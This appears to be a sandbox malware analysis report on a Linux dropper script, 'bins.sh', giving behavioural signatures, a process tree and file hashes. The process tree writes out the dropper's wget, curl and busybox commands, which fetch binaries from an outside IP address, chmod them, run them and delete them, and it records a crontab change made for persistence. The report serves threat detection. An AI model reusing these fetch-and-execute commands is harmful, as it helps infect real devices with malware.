Analysis

  • max time kernel
    142s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    08/11/2024, 02:47

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241108-c9v25stdqh
  • SHA256 7f27651cd5947b577d3d2ca920a2f0b188cacbffe8b721b4899e781b83b4deac
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1752) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:712
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:719
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
          2⤵
          • Writes file to tmp directory
          PID:721
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:740
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
          2⤵
          • Writes file to tmp directory
          PID:743
        • /bin/chmod
          chmod 777 Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
          2⤵
          • File and Directory Permissions Modification
          PID:744
        • /tmp/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
          ./Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
          2⤵
          • Executes dropped EXE
          PID:745
        • /bin/rm
          rm Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
          2⤵
            PID:747
          • /usr/bin/wget
            wget http://216.126.231.240/bins/9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
            2⤵
            • Writes file to tmp directory
            PID:748
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
            2⤵
            • Writes file to tmp directory
            PID:749
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
            2⤵
            • Writes file to tmp directory
            PID:758
          • /bin/chmod
            chmod 777 9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
            2⤵
            • File and Directory Permissions Modification
            PID:765
          • /tmp/9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
            ./9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
            2⤵
            • Executes dropped EXE
            PID:766
          • /bin/rm
            rm 9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
            2⤵
              PID:770
            • /usr/bin/wget
              wget http://216.126.231.240/bins/6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
              2⤵
              • Writes file to tmp directory
              PID:771
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
              2⤵
              • Writes file to tmp directory
              PID:784
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
              2⤵
              • Writes file to tmp directory
              PID:800
            • /bin/chmod
              chmod 777 6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
              2⤵
              • File and Directory Permissions Modification
              PID:803
            • /tmp/6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
              ./6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
              2⤵
              • Executes dropped EXE
              PID:804
            • /bin/rm
              rm 6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
              2⤵
                PID:806
              • /usr/bin/wget
                wget http://216.126.231.240/bins/7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
                2⤵
                • Writes file to tmp directory
                PID:807
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
                2⤵
                • Writes file to tmp directory
                PID:808
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
                2⤵
                • Writes file to tmp directory
                PID:809
              • /bin/chmod
                chmod 777 7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
                2⤵
                • File and Directory Permissions Modification
                PID:810
              • /tmp/7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
                ./7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
                2⤵
                • Executes dropped EXE
                PID:811
              • /bin/rm
                rm 7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
                2⤵
                  PID:813
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
                  2⤵
                  • Writes file to tmp directory
                  PID:814
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:817
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
                  2⤵
                  • Writes file to tmp directory
                  PID:832
                • /bin/chmod
                  chmod 777 5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
                  2⤵
                  • File and Directory Permissions Modification
                  PID:837
                • /tmp/5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
                  ./5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
                  2⤵
                  • Executes dropped EXE
                  PID:839
                • /bin/rm
                  rm 5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
                  2⤵
                    PID:842
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj
                    2⤵
                    • Writes file to tmp directory
                    PID:844
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj
                    2⤵
                    • Writes file to tmp directory
                    PID:852
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj
                    2⤵
                    • Writes file to tmp directory
                    PID:853
                  • /bin/chmod
                    chmod 777 CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj
                    2⤵
                    • File and Directory Permissions Modification
                    PID:854
                  • /tmp/CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj
                    ./CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj
                    2⤵
                    • Executes dropped EXE
                    PID:855
                  • /bin/rm
                    rm CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj
                    2⤵
                      PID:857
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb
                      2⤵
                      • Writes file to tmp directory
                      PID:858
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb
                      2⤵
                      • Writes file to tmp directory
                      PID:859
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb
                      2⤵
                      • Writes file to tmp directory
                      PID:860
                    • /bin/chmod
                      chmod 777 CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb
                      2⤵
                      • File and Directory Permissions Modification
                      PID:861
                    • /tmp/CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb
                      ./CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb
                      2⤵
                      • Executes dropped EXE
                      PID:862
                    • /bin/rm
                      rm CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb
                      2⤵
                        PID:864
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
                        2⤵
                        • Writes file to tmp directory
                        PID:865
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
                        2⤵
                        • Writes file to tmp directory
                        PID:866
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
                        2⤵
                        • Writes file to tmp directory
                        PID:867
                      • /bin/chmod
                        chmod 777 NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
                        2⤵
                        • File and Directory Permissions Modification
                        PID:868
                      • /tmp/NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
                        ./NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:869
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:871
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:872
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:873
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:874
                            • /bin/rm
                              rm NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
                              2⤵
                                PID:876
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/ZwCezthvQEeoEJNRHukLK8TzSALJA4YRR9
                                2⤵
                                  PID:879

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe

                                    • Path /tmp/5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
                                    • Size 177KB
                                    • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                    • MD5 SHA1 SHA512 SSDEEP

                                    6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl

                                    • Path /tmp/6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
                                    • Size 122KB
                                    • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                    • MD5 SHA1 SHA512 SSDEEP

                                    7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX

                                    • Path /tmp/7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
                                    • Size 107KB
                                    • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                    • MD5 SHA1 SHA512 SSDEEP

                                    9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl

                                    • Path /tmp/9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
                                    • Size 98KB
                                    • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                    • MD5 SHA1 SHA512 SSDEEP

                                    CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb

                                    • Path /tmp/CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb
                                    • Size 151KB
                                    • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                    • MD5 SHA1 SHA512 SSDEEP

                                    CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj

                                    • Path /tmp/CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj
                                    • Size 141KB
                                    • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                    • MD5 SHA1 SHA512 SSDEEP

                                    Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc

                                    • Path /tmp/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
                                    • Size 99KB
                                    • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                    • MD5 SHA1 SHA512 SSDEEP

                                    NAmS9v5auCykRGRIUuZaKji6n4lGxCb348

                                    • Path /tmp/NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
                                    • Size 151KB
                                    • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                    • MD5 SHA1 SHA512 SSDEEP

                                    tmp.10JiCO

                                    • Path /var/spool/cron/crontabs/tmp.10JiCO
                                    • Size 210B
                                    • SHA256 8441225e45d381953de7fb08290687676bd14ba124960981a734c350e752c90a
                                    • MD5 SHA1 SHA512